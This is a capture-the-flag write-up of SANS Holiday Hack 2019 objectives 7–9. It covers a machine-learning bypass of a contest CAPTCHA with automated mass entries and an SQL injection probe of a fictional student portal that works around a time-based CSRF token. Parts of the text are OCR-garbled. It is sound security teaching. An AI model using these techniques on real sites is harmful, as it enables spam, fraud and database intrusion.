Hello there! I'm Krampus Hollyfeld. I maintain the steam tunnels underneath Elf U, Keeping all the elves warm and jolly. Though I spend my time in the tunnels and smoke, In this whole wide world, there's no happier bloke! Yes, I borrowed Santa's turtle doves for just a bit. Someone left some scraps of paper near that fireplace, which is a big fire hazard. I sent the turtle doves to fetch the paper scraps. But, before I can tell you more, I need to know that I can trust you.

Further dialog with Krampus unlocks Objectives 8-12 and Krampus also introduces Objective 8 - Frido Sleigh CAPTEHA.

The answer to Objective 7 needed for the badge question is the string: Krampus Hollyfeld

7) Get Access To The Steam Tunnels

Difficulty: 🐥 🌲 🌲

Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name. For hints on achieving this objective, please visit Minty's dorm room and talk with Minty Candy Cane.

Krampus Hollyfeld

Submit

7) Get Access To The Steam Tunnels Difficulty: *****

Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name. For

hints on achieving this objective, please visit Minty's dorm room and talk with Minty Candy Cane.

Congratulations! You have completed the Get Access To The Steam Tunnels challenge!

Objective 8 – Bypassing the Frido Sleigh CAPTEHA

This Objective is introduced at the end of Objective 7 when you discover Krampus in the Steam Tunnels and details are provided through the dialog with that character:



Krampus Hollyfeld (end of Objective 7):

Tell you what – if you can help me beat the <u>Frido Sleigh</u> contest (Objective 8), then I'll know I can trust you. The contest is here on my screen and at <u>fridosleigh.com</u>. No purchase necessary, enter as often as you want, so I am! They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs. Unfortunately, it's restricted to elves only, and I can't bypass the CAPTEHA. (That's Completely Automated Public Turing test to tell Elves and Humans Apart.) I've already cataloged <u>12,000 images</u> and decoded the <u>API interface</u>. Can you help me bypass the CAPTEHA and submit lots of entries?

For this Objective, you need to bypass the CAPTEHA (*Completely Automated Public Turing test to tell Elves and Humans Apart*) on the <u>https://fridosleigh.com/</u> contest submission form.

Frido Sleigh



Enter For A Chance to win Frido Sleigh Cookies Continuously for Life!

As a start, download the 12,000 images at this link (<u>https://downloads.elfu.org/capteha_images.tar.gz</u>) and the provided API interface script at this link (<u>https://downloads.elfu.org/capteha_api.py</u>).

The 12,000 images are a collection of the CAPTEHA images from the fridosleigh.com form submission and categorized by image:

drwxrwxr-x ch	ris/chris	0	2019-11-26	14:40	Candy Canes/
drwxrwxr-x ch	ris/chris		2019-11-26	14:40	Christmas Trees/
drwxrwxr-x ch	ris/chris		2019-11-26	14:40	Ornaments/
drwxrwxr-x ch	ris/chris		2019-11-26	14:40	Presents/
drwxrwxr-x ch	ris/chris		2019-11-26	14:40	Santa Hats/

The API interface script has the building blocks needed to programmatically interact with the JSON fridosleigh.com API and make the form submissions once the CAPTEHA is bypassed, but it's missing the Machine Learning image processing code which we need to supply.

However help is available in one of the KringleCon 2019 talks called "Machine Learning Use Cases for Cybersecurity" given by Chris Davis in Track 4 in Hermey Hall or can be viewed directly at this link: <u>https://www.youtube.com/watch?v=jmVPLwjm_zs</u>

At time index 8:25, there is specific discussion on how to use Machine Learning to bypass CAPTCHA's and there is a GitHub link (<u>https://github.com/chrisjd20/img_rec_tf_ml_demo</u>) provided with sample Python code using Tensorflow to:

- 1. Train the image classifier and generate a trained model (retrain.py)
- 2. Predict images provided based on the trained model (predict_images_using_trained_model.py)

There are installation requirements needed for TensorFlow provided on the GitHub README page which are as follows:

```
git clone https://github.com/chrisjd20/img_rec_tf_ml_demo.git
cd img_rec_tf_ml_demo
sudo apt install python3 python3-pip -y
sudo python3 -m pip install --upgrade pip
sudo python3 -m pip install --upgrade setuptools
sudo python3 -m pip install --upgrade tensorflow==1.15
sudo python3 -m pip install tensorflow hub
```

So the plan seems fairly straightforward:

1. Use the code from retrain.py to create a trained model from the 12,000 images provided in capteba_images.tar.gz

python3 retrain.py --image_dir ./capteha_images/

2. Then use code components from predict_images_using_trained_model.py to help fill in the ML pieces in capteha_api.py

The retrain step is done only once, takes about 20 minutes to complete, and generates a folder /tmp/retrain_tmp/ containing the Tensorflow graph (trained model) at about 460MB in size. So far so good. I'm then able to code up what's needed for the ML with help from the supplied scripts and my code is working. Everything works really well up to this point except for one detail - performance.

After integrating the ML code into capteha_api.py, the average run time for just the ML component to predict the correct images was averaging about 30-40 seconds, which is well past the 9-10 second threshold the CAPTEHA allows before timing out.

I should note that described below is the path I took to solve this challenge, however there are likely many other paths that could have led to a solution as well. This is just the way that I was able to solve it.

So initially I was running this setup in a locally hosted Linux VM (no GPU support) on my laptop. I decided to migrate the entire setup to a physical Windows 10 desktop host equipped with one GPU card (NVIDIA GeForce GTX 980).

I then needed to install the following on that Windows 10 host:

cuda_10.0.130_win10_network.exe 12/16/2019 10:30 PM Application 17;	D KB
	8 KB
O Miniconda3-latest-Windows-x86_64.exe 12/17/2019 4:43 PM Application 52,	4 KB

These can be download from here:

Python 3.6.8:

https://www.python.org/downloads/release/python-368/

Nvidia Toolkit Archive Link: https://developer.nvidia.com/cuda-10.0-download-archive?target_os=Windows&target_arch=x86_64&target_version=10&target_type=exenetwork

Miniconda Download Link: https://docs.conda.io/en/latest/miniconda.html

alled, this is what it should loo	ok like in the Windows o	control pa	nel - "Pr	ograms and I
Vame	Publisher	Installed On	Size	Version
O Miniconda3 4.7.12 (Python 3.7.4 64-bit)	Anaconda, Inc.	12/17/2019		4.7.12
💀 Python Launcher	Python Software Foundation	12/16/2019	1.75 MB	3.6.6565.0
🍰 Python 3.6.8 (64-bit)	Python Software Foundation	12/16/2019	92.8 MB	3.6.8150.0
NVIDIA 3D Vision Controller Driver 390.41	NVIDIA Corporation	12/16/2019		390.41
NVIDIA Graphics Driver 411.31	NVIDIA Corporation	12/16/2019		411.31
NVIDIA 3D Vision Driver 411.31	NVIDIA Corporation	12/16/2019		411.31
NVIDIA CUDA Runtime 10.0	NVIDIA Corporation	12/16/2019		10.0
NVIDIA CUDA Documentation 10.0	NVIDIA Corporation	12/16/2019		10.0
NVIDIA CUDA Development 10.0	NVIDIA Corporation	12/16/2019		10.0

Once Miniconda is installed, I launched the "Anaconda Prompt (Minconda3)":



Once

At the Miniconda (base) prompt, I installed the following modules using the conda utility:

(base) C:\>conda install tensorflow-gpu=1.15.0
 this should install dependencies: tensorflow-estimator and tensorboard
(base) C:\>conda install cudatoolkit=10.0.130
 this should also install dependency: cudnn (NVIDIA CUDA® Deep Neural Network library)

After installing these modules, performing a "conda list" command at the Miniconda prompt should show these as installed:

cudatoolkit cudnn	10.0.130 7.6.4	0 cuda10.0 0	
tensorboard	1.15.0	pypi_0	рурі
tensorflow-estimator	1.15.1	pypi_0	pypi
tensorflow-gpu	1.15.0	pypi_0	рурі

Now that I have a TensorFlow environment setup that is capable of utilizing GPU acceleration, I re-generated the trained model and re-ran my modified capteba_api.py.

At this point on each run I was averaging 12-15 seconds for just the ML portion of the code, which was still about 3-5 seconds too slow and the CAPTEHA was still timing out. I made various tweaks including this config profile below which slightly helped and shaved maybe 1 second from the average run time:

MM PARALLEL_EXEC_UNITS = 6 onfig = tf.compat.vl.ConfigProto(intra op parallelism threads=NUM PARALLEL EXEC UNITS, inter op paralleli

However, the program was still just falling short of the timeout threshold consistently on each run by about 2-4 seconds. Also, I noticed that every now and again, it would fail with an error "Too many images selected!" meaning that the ML algorithm got the prediction wrong for at least one of the images.

Then I had an idea - rather than run it just once and exit, what if I looped it without exiting and perhaps on subsequent loop iterations there would be enough caching or pipelining taking place to optimize away those last few seconds and keep retrying within reason until the guess is correct... This strategy ultimately worked!

I created a while loop in the code that would run it at least 25 times consecutively or until success. Using this method, on average I would have a successful bypass of the CAPTEHA anywhere between the 3rd - 10th attempt.

The full source code for my modified capteha_api.py is included in the Appendix of the report or at https://github.com/deckerXL/SANSHolidayHackChallenge2019

Here is the output from a successful run below. What this shows below is that success was reached on the 4th iteration of the loop, so at the top of the 2nd screenshot you see a "Timed Out!" error which was from the 3rd loop iteration, then it loops and on the next try it got it in 8.224190 seconds:

Page 84 of 184

Sending Request to: [<u>https://fridosleigh.com/]...</u> Determined the following challenge image types: [['Christmas Trees',

Sending Request to: [<u>https://fridosleigh.com/]...</u> Determined the following challenge image types: [['Ornaments', 'Christmas Trees', 'Presents']]...

Submitting						Entry	
Submitting							
Submitting							
Submitting						Entry	#4
Submitting							
Submitting							#6
Submitting							
Submitting							#8
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting							
Submitting	lote	entries		the	contest	Entry	#28

mitting lots of entries until we win the contest! Entry #29

ubmitting	lots	of	entries	until	we	win	the	contest!	Entry	#65	
bmitting										# 66	
bmitting										#67	
ubmitting										#68	
ubmitting										#69	
ubmitting											
ubmitting									Entry		
bmitting											
lbmitting											
lbmitting											
bmitting											
bmitting											
abmitting									Entry	#80	
ubmitting											
abmitting									Entry	#82	
ubmitting											
bmitting										#85	
ubmitting									Entry	#86	
abmitting									Entry	#87	
ubmitting											
ubmitting									Entry	#89	
bmitting										#90	
ubmitting									Entry	#91	
ubmitting									Entry	# 92	
ubmitting									Entry	# 93	
ubmitting									Entry	#94	
ubmitting									Entry	# 95	
ubmitting									Entry	# 96	
ubmitting		of		until			the		Entry	# 97	
lbmitting									Entry	# 98	
lbmitting									Entry	#99	
abmitting											
ubmitting		of	entries	until	we		the	contest!	Entry	#101	

micolny loss of entries until we win the contest: Entry #101 ata*:*/h2 id=\"result_header\"> Entries for email address not be a winner check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings.
 Congratulation. Happy Holidays!</h2>","request":true}

...



The answer to Objective 8 needed for the badge question is the string: 8la8LiZEwvyZr2WO

8) Bypassing the Frido Sleigh CAPTEHA

Difficulty: 🗍 🗍 🗍 🌲

Help Krampus beat the <u>Frido Sleigh contest</u>. For hints on achieving this objective, please talk with Alabaster Snowball in the Speaker Unpreparedness Room.

8Ia8LiZEwvyZr2W0

Submit

8) Bypassing the Frido Sleigh CAPTEHA

Difficulty:

Help Krampus beat the <u>Frido Sleigh contest</u>. For hints on achieving this objective, please talk with Alabaster Snowball in the Speaker Unpreparedness Room.

Congratulations! You have completed the Bypassing the Frido Sleigh CAPTEHA challenge!

After submitting Objective 8 in your badge, talk again with Krampus Hollyfeld in the Steam Tunnels to get dialog on Objective 9 and unlock the Steam Tunnel Teleportation System!

Objective 9 - Retrieve Scraps of Paper from Server

This Objective is introduced when we speak again to Krampus in the Steam Tunnels after completing Objective 8. Krampus tells us that he borrowed the turtle doves and used them to retrieve scraps of paper that were near the fireplace. For this Objective, we need to hack into the Student Portal server (<u>https://studentportal.elfu.org/</u>) and retrieve the scraps of paper that Krampus scanned and stored on this server.

Krampus Hollyfeld

Yes, I borrowed Santa's turtle doves for just a bit. Someone left some scraps of paper near that fireplace, which is a big fire hazard. I sent the turtle doves to fetch the paper scraps.

As for those scraps of paper, I scanned those and put the images on my server. I then threw the paper away. Unfortunately, I managed to lock out my account on the server. Hey! You've got some great skills. Would you please hack into my system and retrieve the scans? I give you permission to hack into it, solving Objective 9 in your badge.

Just navigating the student portal in a browser and through Burp shows that there are 6 main php pages:

- index.php
- students.php
- apply.php
- check.php
- validator.php
- application-received.php

Doing a simple SQLi check by inserting a single quote (') in all the form fields for apply.php and check.php result in the following web page, so it's a good indication that SQLi may be possible:

"Error: INSERT INTO applications (name, elfmail, program, phone, whyme, essay, status) VALUES (''', 'test@test.com', ''', ''', ''', 'pending') You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'test@test.com', ''', ''', ''', 'pending') at line 2"

SETUNIOSAY	× +					2.4	
* Elf Univers	sity	and a second spectrum as	HOME	STUDENT BODY	APPLY NOW	CHECK APPLICA	ATION STATUS
		and the second s					
Error: INSERT	FINTO applications (r	name, elfmail, program,	phone, why	ne, essay, status) VALUES (",)	test@test.com',	
You have an e	rror in your SQL synta	ax; check the manual th to use near 'test@test.	at correspon	nds to your Maria 'pending')' at lin	DB server ver 2	sion for the rig	ht syntax

The basic form-submit logic flow for the two forms is the following and notice that both forms end up in the same final POST to application-received.php:

apply.php --> validator.php --> apply.php --> application-received.php
 check.php --> validator.php --> check.php --> application-received.php

However, just firing sqlmap at https://studentportal.elfu.org/application-received.php results in failure. Let's see why.

Both apply.php and check.php have the following two JavaScript functions and form onSubmit events:

```
function submitApplication() {
   console.log("Submitting");
   elfSign();
   document.getElementById("apply").submit();
}
function elfSign() {
   var s = document.getElementById("token");
   const Http = new XMLHttpRequest();
   const url='/validator.php';
```

<pre>Http.open("GET", Http.send(null);</pre>	url, false);
if (Http.status =	== 200) {
console.log(Htt	p.responseText);
s.value = Http.	responseText;

<form id="apply" action="/application-received.php" method="post" class="form-signin mb-5" onSubmit="submitApplication()">

When you click the "Submit Application" button on the form, the onSubmit event fires calling it's local <code>submitApplication()</code> JavaScript function (before taking the POST action to application-received.php), and the <code>submitApplication()</code> function then calls the <code>elfSign()</code> function.

The elfSign() function then gets a handle to the "token" parameter in the DOM and assigns that to variable "s". Then the function makes a GET request to validator.php. If the response code is 200 OK, it saves the response from validator.php into the "s.value" which is a reference to the "token" parameter value.

Whatever response comes back from a successful call to validator.php, this function will update the "*token*" parameter value with that response data. validator.php generates a dynamic time-based CSRF token which must be passed along and must still be valid when the final POST is made to application-received.php. Any direct POSTs to application-received.php without first retrieving a valid token value from validator.php, will result in an "Invalid or expired token!" error message in the response and prevents a valid POST and SQLi exploitation.

Once a valid token is retrieved from validator.php and assigned to the "token" parameter, the elfSign() function exits returning control to the submitApplication() function, and then document.getElementById("apply").submit() executes which triggers the POST action to application-received.php.

The form submission flow looks like this in Burp:

ntercept H	ITTP history WebSockets history	/ Option:																_	
ter: Matching	g expression studentportal.elfu.o	rg																2	
	A Host	Method	URL		Params	Edited	Status	Length	MIME type	Extension	Title		Comment	TLS	IP		Cookies	-	
0255 0259	https://studentportal.elfu.org https://studentportal.elfu.org	GET	/apply.php /validator.php				200	9408 538	HTML	php	Merry Christi	tmas		1	35.223.33.6 35.223.33.6	57 57		n .	
260	https://studentportal.elfu.org	POST	/application-receiv	/ed.php	~		200	3178	HTML	php /	Elf University	у		1	35.223.33.6	67			
quest Re	esponse																		
aw Header	ers Hex																	_	
/apply.pl t: student r-Agent: M ept: text/ ept-Langua ept-Encodi nection: c erer: http rade-Insec	h HTTP/1.1 hportal.eifu.org Morilla/5.0 (Xil; Ubuntu;) /html,application/xhtml+em age: en-US.eurg0.5 long ggl; deflate close ps://studentportal.eifu.or cure-Requests: 1	Linux x8/ 1,applic	i_64; rv:71.0) (tion/xml;q=0.9,	5ecko/2010010 */*;q=0.8	1 Firefox/	71.0													
<	+ > Type a search term			_		79.4											0 matcl	hes	
ET res	ponse for apply	.php	showing	g JavaSc	ript fu	inctio	ons												
ET res	PONSE for apply	/.php	showing Options	g JavaSc	ript fu	Inctio	ons												
ET res ntercept Iter: Matchi	PONSE for apply	/.php history	showing Options	g JavaSc	ript fu	Inctio	ons												
ET res	HTTP history WebSockets ing expression studentportal Host	/.php history	showing Options ethod URL	g JavaSc	ript fu	unctio	ons												
ET res Intercept Iter: Matchi 00255 00259	HTTP history WebSockets ing expression studentportal Host https://studentportal.effn https://studentportal.effn	A story (.elfu.org) .elfu.org u.org G u.org G	Showing Options ethod URL ET /apply.pl ET /validato	g JavaSc	ript fu	Inctio	ons												
ET res ntercept Iter: Matchi 00255 00259 00260	HTTP history WebSackets ing expression studentportal Host https://studentportal.eff https://studentportal.eff	A stars () () () () () () () () () (Showing Options ethod URL ET /apply.pl ET /validato DST /applicat	g JavaSc	ohp	Inctio	ons												
ET res Intercept Iter: Matchi 00255 00259 00260	HTTP history WebSockets ing expression studentportal https://studentportal.eff https://studentportal.eff https://studentportal.eff	I story	showing options ethod URL ET /apply.pl ET /validato OST /applicat	g JavaSc	php	unctic	ons												
ET res ntercept ter: Matchi 00255 00259 00260 Request F	HTTP history WebSockets ing expression studentportal Https://studentportal.effi https://studentportal.effi Response	A.php history .elfu.org .u.org .u.org .u.org .u.org .u.org	options options ethod URL ET /apply.pl et /validato DST /applicat	g JavaSc	ohp	Inctic	ons												
ET res intercept liter: Matchi 00255 00259 00260 Request f Raw [Head	HTTP history WebSockets ing expression studentportal Host https://studentportal.effi https://studentportal.effi Response Hex Hex MTML Render	relfu.org .elfu.org u.org u.org u.org Pu	Options Options ethod URL ET /apply.pl et /validato DST /applicat	g JavaSc	ohp	Inctio	ons												
ET res Intercept Iter: Matchi 20255 20259 20260 Request F Raw Head <script functio conso elfSi</script 	HTTP history WebSockets ing expression studentportal Host https://studentportal.effi https://studentportal.effi https://studentportal.effi Response ders Hex HTML Render c> on submitApplication(); ble.log(; submitting');	Lorg G Lorg G Lorg P Lorg P	showing Options ethod URL ET /apply.pl DST /applicat	g JavaSc	ohp	unctic	ons												
ET res ntercept ter: Matchi 00255 00250 00260 Request f Raw [Heac <script functio conso elf5i docum</script 	HTTP history WebSockets ing expression studentportal Host https://studentportal.eff https://studentportal.eff https://studentportal.eff Response ders Hex HTML Render com stubentApplication() ble.log() fubmitting*); ment.getElementById(*app	/.php history .elfu.org G u.org G u.org P u.org P (showing options ethod URL ET /apply.pl SST /applicat	t JavaSc	ohp	unctic	ons												
ET res intercept ilter: Matchi 00255 00259 00250 000 00	HTTP history WebSockets HTTP history WebSockets ing expression studentportal + Host https://studentportal.eff https://studentportal.eff https://studentportal.eff Response ders Hex HTML Render >> on submittapplication() ble.log('Submitting'); henl.getElementById('app an elfSign() { = document.getElementI	/.php history .elfu.org G u.org G u.org P ((ply").st	showing options ethod URL ET /apply.plicat ET /applicat bmit(); ken*);	t JavaSc	ohp	Inctic	ons												
ET res ntercept iter: Matchi 00255 00259 00260 Conso elf5i docum } functio conso elf5i docum } functio conso elf5i docum	HTTP history WebSockets HTTP history WebSockets ing expression studentportal A Host https://studentportal.eff https://studen	/.php history .elfu.org du.org du.org du.org du.org plu.org history (elfu.su	showing options ethod URL ET /apply.pl ET /applicat Demit(); ken*);	s JavaSc	ohp	Inctic	ons												
ET res ntercept iter: Matchi 00255 00259 00260 Conse elf51 docum } functio var s const const const tructio	HTTP history WebSockets ing expression studentportal alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf p://studentportal.alf https://studentportal.alf https://studentportal.alf alf of the student provident pro	/.php history .elfu.org du.org du.org du.org pu.org pu.org pu.org pu.org (au.org pu.org pu.org (au.org du.org (au.org)) (au.org) (au.org))) (au.org))) ((au.org))) ((au.org)))) ((au.org))))))) (((au.org))))))))	showing Options thad URL T /apply.pl t /applicat tomit(); ken*);	t JavaSc	ohp	Inctic	ons												
ET res Intercept Iter: Matchi 20255 20259 20260 Conso elfSi docum } functio conso const const const const futp.	HTTP history WebSockets ing expression studentportal A Host https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff n submitApplication() f s = document.getElementBf t https://studentpRef s.end(null);	<pre>/.php history .elfu.org u.org u.org u.org u.org plu.org ply").su (eply").su syld("tc uest(););</pre>	showing Options ethod URL Tr /apply.pi ST /applicat Demit(); ken*);	t JavaSc	ohp	Inctic	DNS												
ET res intercept iiter: Matchi 00255 00250 00250 00250 00250 00250 00250 00250 00250 00250 00250 00250 00250 00250 00250 00250 00250 00250 00255 00255 00255 00255 00255 00255 00255 00255 00255 00255 00255 00255 00250 000 00	<pre>HTTP history WebSockets ing expression studentportal https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff post of the student post on submitApplication() = lol.log("Stubmitting") : log(of "Stubmitting") : log(of "Stubmitting") : open("SET", utl.; false; send(null); fttp:status === 200) { usole.log(fttp.responsef raile = fittp:responsef raile = fittp:responsef raile</pre>	<pre>/.php history .elfu.org u.org u.org ply*).su f ply*).su f syld(*tc nest();); Text);</pre>	showing Options ethod URL ET /apply.pl SST /applicat	s JavaSc	hp	unctio	ons												
ET res ntercept Iter: Matchi 00259 00260 conso elfsi docum } functio var s const	HTTP history WebSockets ing expression studentportal Https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff Response ders Hex HTML Render to submitApplication() ; le.log(; SubmitLing*); ign() (SubmitLing*); end.egtElementById(*app on elfSign() { t Https://student.getElementById(*app on elfSign() { t Https://student.getElementById(*app on elfSign() { t usl='/railator.php; .open(*GET*, usl, false; t usl='/railator.php; .open(*GET*, usl, false; ttps.tatus === 200) { usle.log(Http.responsetz)	<pre>/.php history .elfu.org u.org G u.org G ply*).su f t syld(*tc nest(); ; Text);</pre>	showing options ethod URL ET /apply.pl ET /applicat bmit(); ken*);	s JavaSc	ohp	unctic	ons												
ET res intercept Iter: Matchi 00255 00259 00260 Request 1 Raw Head <script functio conso elf51 docum } functio runtio functio sonst Http. if (H conso s.y }</script 	HTTP history WebSockets ing expression studentportal Host https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff https://studentportal.eff membranches/ memb	<pre>/.phpb history </pre>	showing options ethod URL ET /apply.pl ethod URL ET /applicat bmit(); ken*);	s JavaSc	ohp	unctic	ons												
ET res intercept Iter: Matchi 20255 20260 Request 1 Raw Head <script functio conso elfSi docum } functio runctio runctio s.v } {</script 	HTTP history WebSockets ing expression studentportal alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf https://studentportal.alf alf alf alf alf alf alf alf alf alf alf	<pre>/.phpb history M .effuorg M u.org F ply*).su (ply*).su (ply*).su (rext);</pre>	showing options ethod URL ET /apply.pl ET /applicat dumit(); ken*);	; JavaSc	ohp	unctio	DINS												

Response from validator.php showing the dynamically generated time-based CSRF token:

		-			-	-								
Intercept	HTTP history WebSockets histor	Option	s											
Filter: Mate	hing expression studentportal.elfu.c	rg												?
#	A Host	Method	URL	Params 8	Edited	Status	Length	MIME type	Extension	Title	Comment	TLS	IP	Cookies
100255	https://studentportal.elfu.org	GET	/apply.php			200	9408	HTML	php	Merry Christmas		1	35.223.33.67	*
100259	https://studentportal.elfu.org	GET	Avalidator.php			200	538	script	php			1	35.223.33.67	
100260	https://studentportal.elfu.org	POST	/application-received.php	~		200	3178	HTML	php	Elf University		~	35.223.33.67	
-														7.0
Request	Response													
riequest														
Raw He	aders Hex Render													
Content-T	<pre>ype: text/html; charset=UTF-8</pre>	1												
Content-L	ength: 85													n
Connection	n: close													
Vary: Acc	ent-Encoding													
Strict-Tr.	ansport-Security: max-age=155	52000; 1	ncludeSubDomains											
X-Content	-Type-Options: nosniff													
X-Frame-O	ptions: SAMEORIGIN													
X-XSS-Pro	tection: 1; mode=block													
X-Robots-	Tag: none													
X-Downloa	d-Options: noopen													
X-Permitte	ed-cross-pomain-Policies: non	e												
MTAXMDHwM	TIZODQWMTU30DU5NTY4NTEwMTAZMD	EyHy44HA	MTI5MzE4NTU4NTE1MjAzNjM	yOTYzOTYyLjg4										
														*
? <	+ > Type a search term	-												0 matches

POST Request to application-received.php containing the validator.php retrieved token:

	sopression scorencportal.end.o	а												
	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension	Title	Comment	TLS	IP	Cookies
255	https://studentportal.elfu.org	GET	/apply.php			200	9408	HTML	php	Merry Christmas		~	35.223.33.67	
259	https://studentportal.elfu.org	GET	Avalidator.php			200	538	script	php	-17		1	35.223.33.67	
260	https://studentportal.elfu.org	POST	/application-received.php	1		200	3178	HTML	php	Elf University		~	35.223.33.67	
~						-								
quest Res	sponse													
Parama	s Headers Hex													
/applica	ation-received.php HTTP/1.	1												
student	portal.elfu.org		C CA	101 21-04-01	71.0									
t: text/	html, application/xhtml+xm	l, applic	ation/xml;g=0.9,*/*;g=0.8	IUI Firerox/	/1.0									
t-Langua	age: en-US,en;q=0.5													
t-Encodi	ing: gzip, deflate	rlencode	d.											
at-Lengt	th: 191	riencode	ra -											
n: https	s://studentportal.elfu.org													
ction: c	close													
er: http	os://studentportal.elfu.or	g/apply.	.php											
name &e 1	Ifmail=email%4Unowhere.net	sprogram	s=course☎=444-4444&why	me=describe4	essay=es	ssaystoke	n=HTAXHD	MWMTIZODQW	MT03OD05N1	Y4NTEWNTA2MDEYNY4	INAV3DV3D_MTISM	2E4NTU4N	TEINJAZNJNYOTYS	EOTTYLJG4
< -	+ > Type a search term													0 ma
ST Re	esponse from a	pplic	cation-received.	php sh	owir	ng a s	ucces	ss resp	onse					
T Re	esponse from a	pplic	cation-received.	php sh	owin	ng a s	ucces	ss resp	onse				1.00	
ST Re	ESPONSE from a		cation-received.	php sh	owin	ng a s	ucces	ss resp	onse					
Cept HT	ESPONSE from a	pplic Option	cation-received.	php sh	owin	ng a s	ucces	ss resp	onse					
ST Re	Esponse from a TTP history WebSockets history expression studentportal.elfu.o Host	rg Method	URL	php sh	owin	Status	Length	MIME type	Extension	Title	Comment	TLS	IP	Cookie
ST Re rcept HT Matching	esponse from a TTP history WebSockets history g expression studentportal.elfu.org host https://studentportal.elfu.org	rg Method	URL /apply.php	php sh	owin Edited	Status	Length 9408	MIME type	Extension php	Title Merry Christmas	Comment	TLS V	IP 35.223.33.67	Cookie
Matching	esponse from a TTP history WebSockets history expression studentportal.elfu.org https://studentportal.elfu.org	rg Method GET GET	URL /spply.php /validator.php	php sh	owin	Status 200 200	Length 9408 538	MIME type HTML script	Extension php php	Title Merry Christmas	Comment		IP 35.223.33.67 35.223.33.67	Cookie
Matching	TTP history WebSockets history expression studentportal.elfu.or Host https://studentportal.elfu.org https://studentportal.elfu.org	Option rg Method GET GET POST	URL /apply.php /validator.php /splication-received.php	php sh Params	owin	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Title Merry Christmas Elf University	Comment		IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
Matching	esponse from a TTP history WebSackets history geopression studentportal.eflu.org https://studentportal.eflu.org https://studentportal.eflu.org	Option rg Method GET GET POST	URL /apply.php /validator.php /application-received.php	php sh Params	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Title Merry Christmas Elf University	Comment	TLS	IP 35.223.33.67 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
Matching 5 9 0	TTP history WebSockets history expression studentportal elfu.org https://studentportal.elfu.org https://studentportal.elfu.org https://studentportal.elfu.org	rg Method GET GET POST	IN IN IN IN IN IN IN IN IN IN	php sh Params	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Title Merry Christmas Elf University	Comment		IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re	TTP history webSockets history expression studentportal effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.org	rg Method GET POST	VRL /apply.php /validator.php /application-received.php	php sh Params	Owin Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php	Title Merry Christmas Elf University	Comment	11.5 <i>V</i> <i>V</i> <i>V</i>	IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
Matching Matching 15 19 10 10 10 10 10 10 10 10 10 10	TTP history WebSackets history expression studentportal effuo a https://studentportal.effuo a https://studentportal.effuo arg https://studentportal.effuo arg https://studentportal.effuo arg sponse rs Hex HTML Render	rg Method GET POST	INS URL /apply.php /application-received.php	php sh Params	owin	Status 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Title Merry Christmas Elf University	Comment	11.S	IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re reept HT Matching A S5 S5 S5 S5 S5 S5 S5 S5 S5 S5 S5 S5 S5	esponse from a TTP history WebSockets history geopression studentportal elfu.org https://studentportal elfu.org https://studentportal elfu.org https://studentportal elfu.org https://studentportal elfu.org sponse rs Hex HTML Render	Optior rg Method GET GET POST	VIRL /apply.php /validator.php /application-received.php	php sh Params	owin	Status 200 200 200 200 200 200 200 200 200 20	Length 9408 3178	MIME type HTML script HTML	Extension php php	Title Merry Christmas Elf University	Comment	TLS	IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re rcept H Matching 55 50 50 10 Header / header / - Begi	TTP history: WebSackets history appression studentportal effuo ag http://studentportal.effu.org https://studentportal.effu.org https://studentportal.effu.	Optior rg Method GET GET POST	Cation-received.	php sh	Edited	Status 200 200 200	Length 9408 538 3178	MIME type HTML script HTML	Extension php php php	Title Meny Christmas Elf University	Comment	TLS	IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
ST Re rcept HI Matching 55 59 60 Uest Ren Header /header> / Begi main rol	a Host https://studertportaleflu.org https://studertportaleflu.org https://studertportaleflu.org https://studertportaleflu.org https://studertportaleflu.org https://studertportaleflu.org https://studertportaleflu.org spanse rs Hex HTML Render	Option rg Method GET GET POST	VIRL /rapby.php /validator.php /splication-received.php	php sh Params	Edited	Status 200 200	Length 9408 538 3179	MIME type HTML script HTML	Extension php php php php	Tele Merry Christmas Elf University	Comment	TLS	IP 35.223.33.67 35.223.33.67 35.223.33.67	Cookie
